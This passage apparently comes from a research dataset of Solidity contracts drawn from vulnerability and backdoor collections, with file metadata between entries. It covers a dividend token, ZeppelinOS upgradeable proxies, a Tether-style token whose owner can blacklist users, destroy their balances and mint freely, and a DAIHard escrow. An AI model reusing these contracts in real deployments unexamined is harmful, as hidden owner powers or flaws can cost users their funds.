//share times the amount of time elapsed
dividendBalance = dividendBalance.safeSub(profit);
//Apply divs
profitPerShare_ = SafeMath.add(profitPerShare_, (profit * magnitude) / tokenSupply_);
sweep();
lastPayout = now;
}
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(address _customerAddress, uint256 _incomingtokens) internal returns (uint256) {
if (stats[_customerAddress].invested == 0 && stats[_customerAddress].receivedTokens == 0) {
players += 1;
}
totalTxs += 1;
// data setup @bb _incomingtokens is 'LP token'
uint256 _undividedDividends = SafeMath.mul(_incomingtokens, entryFee_) / 100; // 10% of drops
uint256 _amountOfTokens = SafeMath.sub(_incomingtokens, _undividedDividends); // 90% of drops (100% - 10% above)
uint256 bnbAmount = calculateLiquidityToBnb(_incomingtokens); //total bnb worth of lp token
// fire event
emit onTokenPurchase(_customerAddress, bnbAmount, _amountOfTokens, now);
// yes we know that the safemath function automatically rules out the "greater then" equation.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_, "Tokens need to be positive");
// we can't give people infinite eth
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ += _amountOfTokens;
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
//drip and buybacks; instant requires being called after supply is updated
allocateFees(_undividedDividends);
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_customerAddress] += _updatedPayouts;
//Stats
stats[_customerAddress].taxes += _undividedDividends;
stats[_customerAddress].invested += bnbAmount;
stats[_customerAddress].xInvested += 1;
return _amountOfTokens;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// splash token 0xe0046B0873132643C338291F399143F8EA4c38f6
// fountain 0x620DD286F245d2E5Ca4C7f9A4F5fDcbbd5dFfC83
| 102,429 | 1,746 |
57755d6961366f13464cfaf70e7ae66479975fa2b17490bbd4dd2a419879f10e
| 22,212 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Contracts/contract_56.sol
| 2,721 | 10,821 |
pragma solidity ^0.4.24;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : [email protected]
// released under Apache 2.0 licence
// flattened : Tuesday, 09-Apr-19 18:16:04 UTC
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library ZOSLibAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface ImplementationProvider {
function getImplementation(string contractName) public view returns (address);
}
contract ZOSLibOwnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Package is ZOSLibOwnable {
event VersionAdded(uint64[3] semanticVersion, address contractAddress, bytes contentURI);
struct Version {
uint64[3] semanticVersion;
address contractAddress;
bytes contentURI;
}
mapping (bytes32 => Version) internal versions;
mapping (uint64 => bytes32) internal majorToLatestVersion;
uint64 internal latestMajor;
function getVersion(uint64[3] semanticVersion) public view returns (address contractAddress, bytes contentURI) {
Version storage version = versions[semanticVersionHash(semanticVersion)];
return (version.contractAddress, version.contentURI);
}
function getContract(uint64[3] semanticVersion) public view returns (address contractAddress) {
Version storage version = versions[semanticVersionHash(semanticVersion)];
return version.contractAddress;
}
function addVersion(uint64[3] semanticVersion, address contractAddress, bytes contentURI) public onlyOwner {
require(contractAddress != address(0), "Contract address is required");
require(!hasVersion(semanticVersion), "Given version is already registered in package");
require(!semanticVersionIsZero(semanticVersion), "Version must be non zero");
// Register version
bytes32 versionId = semanticVersionHash(semanticVersion);
versions[versionId] = Version(semanticVersion, contractAddress, contentURI);
// Update latest major
uint64 major = semanticVersion[0];
if (major > latestMajor) {
latestMajor = semanticVersion[0];
}
// Update latest version for this major
uint64 minor = semanticVersion[1];
uint64 patch = semanticVersion[2];
uint64[3] latestVersionForMajor = versions[majorToLatestVersion[major]].semanticVersion;
if (semanticVersionIsZero(latestVersionForMajor) // No latest was set for this major
|| (minor > latestVersionForMajor[1]) // Or current minor is greater
|| (minor == latestVersionForMajor[1] && patch > latestVersionForMajor[2]) // Or current patch is greater) {
majorToLatestVersion[major] = versionId;
}
emit VersionAdded(semanticVersion, contractAddress, contentURI);
}
function hasVersion(uint64[3] semanticVersion) public view returns (bool) {
Version storage version = versions[semanticVersionHash(semanticVersion)];
return address(version.contractAddress) != address(0);
}
function getLatest() public view returns (uint64[3] semanticVersion, address contractAddress, bytes contentURI) {
return getLatestByMajor(latestMajor);
}
function getLatestByMajor(uint64 major) public view returns (uint64[3] semanticVersion, address contractAddress, bytes contentURI) {
Version storage version = versions[majorToLatestVersion[major]];
return (version.semanticVersion, version.contractAddress, version.contentURI);
}
function semanticVersionHash(uint64[3] version) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(version[0], version[1], version[2]));
}
function semanticVersionIsZero(uint64[3] version) internal pure returns (bool) {
return version[0] == 0 && version[1] == 0 && version[2] == 0;
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
constructor(address _implementation, bytes _data) public payable {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
if(_data.length > 0) {
require(_implementation.delegatecall(_data));
}
}
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) private {
require(ZOSLibAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
constructor(address _implementation, address _admin, bytes _data) UpgradeabilityProxy(_implementation, _data) public payable {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(_admin);
}
function admin() external view ifAdmin returns (address) {
return _admin();
}
function implementation() external view ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin {
_upgradeTo(newImplementation);
require(newImplementation.delegatecall(data));
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract App is ZOSLibOwnable {
event ProxyCreated(address proxy);
event PackageChanged(string providerName, address package, uint64[3] version);
struct ProviderInfo {
Package package;
uint64[3] version;
}
mapping(string => ProviderInfo) internal providers;
constructor() public { }
function getProvider(string packageName) public view returns (ImplementationProvider provider) {
ProviderInfo storage info = providers[packageName];
if (address(info.package) == address(0)) return ImplementationProvider(0);
return ImplementationProvider(info.package.getContract(info.version));
}
function getPackage(string packageName) public view returns (Package, uint64[3]) {
ProviderInfo storage info = providers[packageName];
return (info.package, info.version);
}
function setPackage(string packageName, Package package, uint64[3] version) public onlyOwner {
require(package.hasVersion(version), "The requested version must be registered in the given package");
providers[packageName] = ProviderInfo(package, version);
emit PackageChanged(packageName, package, version);
}
function unsetPackage(string packageName) public onlyOwner {
require(address(providers[packageName].package) != address(0), "Package to unset not found");
delete providers[packageName];
emit PackageChanged(packageName, address(0), [uint64(0), uint64(0), uint64(0)]);
}
function getImplementation(string packageName, string contractName) public view returns (address) {
ImplementationProvider provider = getProvider(packageName);
if (address(provider) == address(0)) return address(0);
return provider.getImplementation(contractName);
}
function create(string packageName, string contractName, address admin, bytes data) payable public returns (AdminUpgradeabilityProxy) {
address implementation = getImplementation(packageName, contractName);
AdminUpgradeabilityProxy proxy = (new AdminUpgradeabilityProxy).value(msg.value)(implementation, admin, data);
emit ProxyCreated(proxy);
return proxy;
}
}
| 283,023 | 1,747 |
370764eeaf263c9e99fb68fe6a4d580028498dbbc6706f0e3d701bb400cdc139
| 13,209 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x728d8afddb5b88f6868aea05279bf4e3b4fbfbad.sol
| 2,455 | 9,866 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public view returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external view returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external view returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract WenboToken is Pausable, StandardToken, BlackList {
string public constant name = "WBT_1_1";
string public constant symbol = "WBT_1_1";
uint public constant decimals = 18;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function WenboToken() public {
uint _initialSupply = 10000 * (10 ** 18);
_totalSupply = _initialSupply;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public view returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public view returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public view returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
}
| 221,269 | 1,748 |
b4e70a5465ab8ac6a677069d8a4f1cdcb3a584d62509d8fe32450a3b97dc4401
| 16,693 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x6d540c9f4357fe128c6b3300a12a16b38a5bcb3b.sol
| 3,266 | 13,873 |
pragma solidity 0.5.6;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
uint8 public decimals;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract DAIHardFactory {
event NewTrade(uint id, address tradeAddress, bool indexed initiatorIsPayer);
ERC20Interface public daiContract;
address payable public devFeeAddress;
constructor(ERC20Interface _daiContract, address payable _devFeeAddress)
public {
daiContract = _daiContract;
devFeeAddress = _devFeeAddress;
}
struct CreationInfo {
address address_;
uint blocknum;
}
CreationInfo[] public createdTrades;
function getBuyerDeposit(uint tradeAmount)
public
pure
returns (uint buyerDeposit) {
return tradeAmount / 3;
}
function getDevFee(uint tradeAmount)
public
pure
returns (uint devFee) {
return tradeAmount / 100;
}
function getExtraFees(uint tradeAmount)
public
pure
returns (uint buyerDeposit, uint devFee) {
return (getBuyerDeposit(tradeAmount), getDevFee(tradeAmount));
}
function openDAIHardTrade(address payable _initiator, bool initiatorIsBuyer, uint[5] calldata uintArgs, string calldata _totalPrice, string calldata _fiatTransferMethods, string calldata _commPubkey)
external
returns (DAIHardTrade) {
uint transferAmount;
uint[6] memory newUintArgs;
if (initiatorIsBuyer) {
transferAmount = getBuyerDeposit(uintArgs[0]) + uintArgs[1] + getDevFee(uintArgs[0]);
newUintArgs = [uintArgs[0], uintArgs[1], getDevFee(uintArgs[0]), uintArgs[2], uintArgs[3], uintArgs[4]];
}
else {
transferAmount = uintArgs[0] + uintArgs[1] + getDevFee(uintArgs[0]);
newUintArgs = [getBuyerDeposit(uintArgs[0]), uintArgs[1], getDevFee(uintArgs[0]), uintArgs[2], uintArgs[3], uintArgs[4]];
}
//create the new trade and add its creationInfo to createdTrades
DAIHardTrade newTrade = new DAIHardTrade(daiContract, devFeeAddress);
createdTrades.push(CreationInfo(address(newTrade), block.number));
emit NewTrade(createdTrades.length - 1, address(newTrade), initiatorIsBuyer);
//transfer DAI to the trade and open it
require(daiContract.transferFrom(msg.sender, address(newTrade), transferAmount), "Token transfer failed. Did you call approve() on the DAI contract?");
newTrade.open(_initiator, initiatorIsBuyer, newUintArgs, _totalPrice, _fiatTransferMethods, _commPubkey);
}
function getNumTrades()
external
view
returns (uint num) {
return createdTrades.length;
}
}
contract DAIHardTrade {
enum Phase {Created, Open, Committed, Claimed, Closed}
Phase public phase;
modifier inPhase(Phase p) {
require(phase == p, "inPhase check failed.");
_;
}
uint[5] public phaseStartTimestamps;
function changePhase(Phase p)
internal {
phase = p;
phaseStartTimestamps[uint(p)] = block.timestamp;
}
address payable public initiator;
address payable public responder;
//The contract only has two parties, but depending on how it's opened,
//the initiator for example might be either the buyer OR the seller.
bool public initiatorIsBuyer;
address payable public buyer;
address payable public seller;
modifier onlyInitiator() {
require(msg.sender == initiator, "msg.sender is not Initiator.");
_;
}
modifier onlyResponder() {
require(msg.sender == responder, "msg.sender is not Responder.");
_;
}
modifier onlyBuyer() {
require (msg.sender == buyer, "msg.sender is not Buyer.");
_;
}
modifier onlySeller() {
require (msg.sender == seller, "msg.sender is not Seller.");
_;
}
modifier onlyContractParty() { // Must be one of the two parties involved in the contract
require(msg.sender == initiator || msg.sender == responder, "msg.sender is not a party in this contract.");
_;
}
ERC20Interface daiContract;
address payable devFeeAddress;
constructor(ERC20Interface _daiContract, address payable _devFeeAddress)
public {
changePhase(Phase.Created);
daiContract = _daiContract;
devFeeAddress = _devFeeAddress;
pokeRewardSent = false;
}
uint public daiAmount;
string public price;
uint public buyerDeposit;
uint public responderDeposit; // This will be equal to either daiAmount or buyerDeposit, depending on initiatorIsBuyer
uint public autorecallInterval;
uint public autoabortInterval;
uint public autoreleaseInterval;
uint public pokeReward;
uint public devFee;
bool public pokeRewardSent;
event Opened(string fiatTransferMethods, string commPubkey);
function open(address payable _initiator, bool _initiatorIsBuyer, uint[6] memory uintArgs, string memory _price, string memory fiatTransferMethods, string memory commPubkey)
public {
require(getBalance() > 0, "You can't open a trade without first depositing DAI.");
responderDeposit = uintArgs[0];
pokeReward = uintArgs[1];
devFee = uintArgs[2];
autorecallInterval = uintArgs[3];
autoabortInterval = uintArgs[4];
autoreleaseInterval = uintArgs[5];
initiator = _initiator;
initiatorIsBuyer = _initiatorIsBuyer;
if (initiatorIsBuyer) {
buyer = initiator;
daiAmount = responderDeposit;
buyerDeposit = getBalance() - (pokeReward + devFee);
}
else {
seller = initiator;
daiAmount = getBalance() - (pokeReward + devFee);
buyerDeposit = responderDeposit;
}
price = _price;
changePhase(Phase.Open);
emit Opened(fiatTransferMethods, commPubkey);
}
event Recalled();
event Committed(address responder, string commPubkey);
function recall()
external
inPhase(Phase.Open)
onlyInitiator() {
internalRecall();
}
function internalRecall()
internal {
require(daiContract.transfer(initiator, getBalance()), "Recall of DAI to initiator failed!");
changePhase(Phase.Closed);
emit Recalled();
}
function autorecallAvailable()
public
view
inPhase(Phase.Open)
returns(bool available) {
return (block.timestamp >= phaseStartTimestamps[uint(Phase.Open)] + autorecallInterval);
}
function commit(string calldata commPubkey)
external
inPhase(Phase.Open) {
require(daiContract.transferFrom(msg.sender, address(this), responderDeposit), "Can't transfer the required deposit from the DAI contract. Did you call approve first?");
require(!autorecallAvailable(), "autorecallInterval has passed; this offer has expired.");
responder = msg.sender;
if (initiatorIsBuyer) {
seller = responder;
}
else {
buyer = responder;
}
changePhase(Phase.Committed);
emit Committed(responder, commPubkey);
}
event Claimed();
event Aborted();
function abort()
external
inPhase(Phase.Committed)
onlyBuyer() {
internalAbort();
}
function internalAbort()
internal {
//Punishment amount is 1/4 the buyerDeposit for now,
//but in a future version this might be set by the Initiator.
uint burnAmount = buyerDeposit / 4;
//Punish both parties equally by burning burnAmount.
//Instead of burning burnAmount twice, just burn it all in one call (saves gas).
require(daiContract.transfer(address(0x0), burnAmount*2), "Token burn failed!");
//Send back deposits minus burned amounts.
require(daiContract.transfer(buyer, buyerDeposit - burnAmount), "Token transfer to Buyer failed!");
require(daiContract.transfer(seller, daiAmount - burnAmount), "Token transfer to Seller failed!");
uint sendBackToInitiator = devFee;
//If there was a pokeReward left, it should be sent back to the initiator
if (!pokeRewardSent) {
sendBackToInitiator += pokeReward;
}
require(daiContract.transfer(initiator, sendBackToInitiator), "Token refund of devFee+pokeReward to Initiator failed!");
//There may be a wei or two left over in the contract due to integer division. Not a big deal.
changePhase(Phase.Closed);
emit Aborted();
}
function autoabortAvailable()
public
view
inPhase(Phase.Committed)
returns(bool passed) {
return (block.timestamp >= phaseStartTimestamps[uint(Phase.Committed)] + autoabortInterval);
}
function claim()
external
inPhase(Phase.Committed)
onlyBuyer() {
require(!autoabortAvailable(), "The deposit deadline has passed!");
changePhase(Phase.Claimed);
emit Claimed();
}
event Released();
event Burned();
function autoreleaseAvailable()
public
view
inPhase(Phase.Claimed)
returns(bool available) {
return (block.timestamp >= phaseStartTimestamps[uint(Phase.Claimed)] + autoreleaseInterval);
}
function release()
external
inPhase(Phase.Claimed)
onlySeller() {
internalRelease();
}
function internalRelease()
internal {
//If the pokeReward has not been sent, refund it to the initiator
if (!pokeRewardSent) {
require(daiContract.transfer(initiator, pokeReward), "Refund of pokeReward to Initiator failed!");
}
//Upon successful resolution of trade, the devFee is sent to the developers of DAIHard.
require(daiContract.transfer(devFeeAddress, devFee), "Token transfer to devFeeAddress failed!");
//Release the remaining balance to the buyer.
require(daiContract.transfer(buyer, getBalance()), "Final release transfer to buyer failed!");
changePhase(Phase.Closed);
emit Released();
}
function burn()
external
inPhase(Phase.Claimed)
onlySeller() {
require(!autoreleaseAvailable());
internalBurn();
}
function internalBurn()
internal {
require(daiContract.transfer(address(0x0), getBalance()), "Final DAI burn failed!");
changePhase(Phase.Closed);
emit Burned();
}
function getState()
external
view
returns(uint balance, Phase phase, uint phaseStartTimestamp, address responder) {
return (getBalance(), this.phase(), phaseStartTimestamps[uint(this.phase())], this.responder());
}
function getBalance()
public
view
returns(uint) {
return daiContract.balanceOf(address(this));
}
function getParameters()
external
view
returns (address initiator, bool initiatorIsBuyer, uint daiAmount, string memory totalPrice, uint buyerDeposit, uint autorecallInterval, uint autoabortInterval, uint autoreleaseInterval, uint pokeReward)
{
return (this.initiator(), this.initiatorIsBuyer(), this.daiAmount(), this.price(), this.buyerDeposit(), this.autorecallInterval(), this.autoabortInterval(), this.autoreleaseInterval(), this.pokeReward());
}
// Poke function lets anyone move the contract along,
// if it's due for some state transition.
event Poke();
function pokeNeeded()
public
view
returns (bool needed) {
return ((phase == Phase.Open && autorecallAvailable())
|| (phase == Phase.Committed && autoabortAvailable())
|| (phase == Phase.Claimed && autoreleaseAvailable()));
}
function poke()
external
returns (bool moved) {
if (pokeNeeded()) {
daiContract.transfer(msg.sender, pokeReward);
pokeRewardSent = true;
emit Poke();
}
else return false;
if (phase == Phase.Open) {
if (autorecallAvailable()) {
internalRecall();
return true;
}
}
else if (phase == Phase.Committed) {
if (autoabortAvailable()) {
internalAbort();
return true;
}
}
else if (phase == Phase.Claimed) {
if (autoreleaseAvailable()) {
internalRelease();
return true;
}
}
}
// StatementLogs allow a starting point for any necessary communication,
// and can be used anytime by either party after a Responder commits (even in the Closed phase).
event InitiatorStatementLog(string encryptedForInitiator, string encryptedForResponder);
event ResponderStatementLog(string encryptedForInitiator, string encryptedForResponder);
function initiatorStatement(string memory encryptedForInitiator, string memory encryptedForResponder)
public
onlyInitiator() {
require(phase >= Phase.Committed);
emit InitiatorStatementLog(encryptedForInitiator, encryptedForResponder);
}
function responderStatement(string memory encryptedForInitiator, string memory encryptedForResponder)
public
onlyResponder() {
require(phase >= Phase.Committed);
emit ResponderStatementLog(encryptedForInitiator, encryptedForResponder);
}
}
| 144,708 | 1,749 |
0614c8cb14496f213cd7aa1c5ae13e8f0936166cd8dae99464386280eaed6a19
| 12,747 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/91/91c61868234ec6d1ff6d8b7d9774064b0dce9341_Vault.sol
| 2,848 | 10,883 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
